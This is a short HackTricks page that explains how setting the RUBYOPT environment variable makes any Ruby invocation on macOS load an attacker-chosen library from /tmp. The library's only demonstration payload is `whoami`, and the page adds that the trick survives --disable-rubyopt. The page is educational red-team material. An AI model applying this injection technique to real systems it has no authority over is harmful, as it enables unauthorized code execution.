# macOS Ruby Applications Injection
{% hint style="success" %}
Learn & practice AWS Hacking:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: 
[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## RUBYOPT
Using this env variable it's possible to **add new params** to **ruby** whenever it gets executed. Although the param **`-e`** cannot be used to specify ruby code to execute, it's possible to use the params **`-I`** and **`-r`** to add a new folder to the libraries to load path and then **specify a library to load**.
Create the library **`inject.rb`** in **`/tmp`**:
{% code title="inject.rb" %}
```ruby
puts `whoami`
```
{% endcode %}
Create anywahere a ruby script like:
{% code title="hello.rb" %}
```ruby
puts 'Hello, World!'
```
{% endcode %}
Then make an arbitrary ruby script load it with:
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb
```
Fun fact, it works even with param **`--disable-rubyopt`**:
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
```
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}